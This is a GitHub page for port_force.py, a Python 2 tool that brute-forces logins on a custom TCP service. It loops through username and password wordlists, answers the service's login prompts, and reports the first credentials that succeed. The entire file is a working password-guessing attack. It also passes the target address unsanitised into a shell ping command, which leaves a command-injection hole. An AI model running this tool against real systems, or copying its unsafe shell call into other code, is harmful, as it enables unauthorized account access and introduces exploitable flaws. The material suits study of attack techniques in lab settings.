-
Notifications
You must be signed in to change notification settings - Fork 10
/
port_force.py
195 lines (163 loc) · 6.88 KB
/
port_force.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#!/usr/bin/python
import socket
import sys
import getopt
import os
import datetime
import time
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def banner():
print bcolors.HEADER + " ____ __ ______ " + bcolors.ENDC
print bcolors.HEADER + " / __ \____ _____/ /_ / ____/___ _____________ " + bcolors.ENDC
print bcolors.HEADER + " / /_/ / __ \/ ___/ __/ / /_ / __ \/ ___/ ___/ _ \ " + bcolors.ENDC
print bcolors.HEADER + " / ____/ /_/ / / / /_ / __/ / /_/ / / / /__/ __/" + bcolors.ENDC
print bcolors.HEADER + "/_/ \____/_/ \__/ /_/ \____/_/ \___/\___/ " + bcolors.ENDC
print
print bcolors.HEADER + " Created By: Jack Halon (KKB) " + bcolors.ENDC
print bcolors.HEADER + " Twitter: @jack_halon " + bcolors.ENDC
print
print
def usage():
print "Port Force - A custom port Brute Forcing Tool"
print "---------------------------------------------"
print
print "Usage: ./port_force -t 192.168.0.1 -p 1234 -u users.txt -P pass.txt"
print
print "-h --help - display usage information"
print "-t --target - set IP address of Target"
print "-p --port - set Port for Target"
print "-u --user - set a list of usernames to brute force"
print "-F --pass - set a list of passwords to brute force"
print
print
print "Examples:"
print "---------------------------------------------"
print "./port_force -t 192.168.0.1 -p 1234 -u names.txt -P pass.txt"
print "./port_force -t 192.168.0.1 -p 1234 -u users.txt -P pass.txt"
print "./port_force --target 192.168.0.1 --port 1234 --user names.txt --pass pass.txt"
print "./port_force -t 192.168.0.1 -p 1234 -u name.txt -P /usr/share/wordlists/rockyou.txt"
def main():
target = ""
port = 0
var_user = ""
var_pass = ""
user_len = 0
cur_user = 0
pass_len = 0
cur_pass = 0
banner()
if not len(sys.argv[1:]):
usage()
sys.exit(1)
try:
opts, args = getopt.getopt(sys.argv[1:], "h:t:p:u:P:", ["help", "target", "port", "user=", "pass="])
except getopt.GetoptError as err:
print bcolors.FAIL + "[ERROR] - " + str(err) +"\n" + bcolors.ENDC
usage()
sys.exit(2)
for opt, arg in opts:
if opt == ("-h", "--help"):
usage()
sys.exit()
elif opt in ("-t", "--target"):
target = arg
elif opt in ("-p", "--port"):
port = int(arg)
elif opt in ("-u", "--user"):
var_user = arg
elif opt in ("-P", "--pass"):
var_pass = arg
else:
assert False, "Unhandled Option"
# Check if userlist exists
if not os.path.exists(var_user):
sys.stderr.write(bcolors.FAIL + "[ERROR] - Userlist was not found!\n" + bcolors.ENDC)
sys.exit(1)
# Check if passwordlist exists
if not os.path.exists(var_pass):
sys.stderr.write(bcolors.FAIL + "[ERROR] - Passwordlist was not found !\n" + bcolors.ENDC)
sys.exit(1)
else:
print bcolors.OKGREEN + "[+] Loading Username and Password List...\n" + bcolors.ENDC
time.sleep(3)
uFile = open(var_user)
uLines = len(uFile.readlines())
user_len = uLines
pFile = open(var_pass)
pLines = len(pFile.readlines())
pass_len = pLines
print bcolors.OKGREEN + "[+] Attacking Target:%s on Port:%s\n" % (target, port) + bcolors.ENDC
time.sleep(3)
print bcolors.OKGREEN + "[+] Pinging %s to verify host connectvity...\n" % (target) + bcolors.ENDC
time.sleep(3)
# Ping host to make sure it is up
response = os.system("ping -c 1 " + target + " > /dev/null")
if response == 0:
print bcolors.OKGREEN + "[OK] The host %s is up!\n" % (target) + bcolors.ENDC
else:
print bcolors.WARNING + "[FAIL] The host %s is down! Shutting down...\n" % (target) + bcolors.ENDC
sys.exit(1)
# Iterate through userlist and passwordlist
with open(var_user, "r") as user_file:
for user in user_file:
cur_user += 1
cur_pass = 0
# Print current user being tested, and total number of users left
print bcolors.OKGREEN + "[INFO] Testing User: %s (%s/%s)" % (user.strip(), cur_user, user_len) + bcolors.ENDC
time.sleep(3)
with open(var_pass, "r") as pass_file:
# Get list length of passwordlist
for passwd in pass_file:
cur_pass += 1
time_tag = time.strftime("%H:%M:%S")
# Print current Username and Password used for brute force
print bcolors.OKBLUE + "[%s] [-] Trying %s of %s - %s:%s" % (time_tag, cur_pass, pass_len, user.strip(), passwd.strip()) +bcolors.ENDC
time.sleep(0.5)
# Connection
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
except:
print bcolors.FAIL + "\n[ERROR] - Can't connect to the host!\n" + bcolors.ENDC
sys.exit(1)
# Request username
data = ""
while True:
tmp = s.recv(1)
if tmp == "":
break
data += tmp
if data.endswith("Enter login: "):
break
# Send username
s.send(user)
#Request password
data = ""
while True:
tmp = s.recv(1)
if tmp == "":
break
data += tmp
if data.endswith("Enter password: "):
break
# Send password
s.send(passwd)
# Answer
answer = s.recv(6)
# Display Username and Password if login is successful
if "Error!" not in answer:
print bcolors.OKGREEN + "[" + time_tag + "] [!] Success! " + user.strip() + ":" + passwd.strip() + bcolors.ENDC
sys.exit(1)
if cur_user == user_len and cur_pass == pass_len:
print bcolors.FAIL + "\n[FAILED] - All possibilities exhausted! Shutting down..." + bcolors.ENDC
s.close()
if __name__ == "__main__":
main()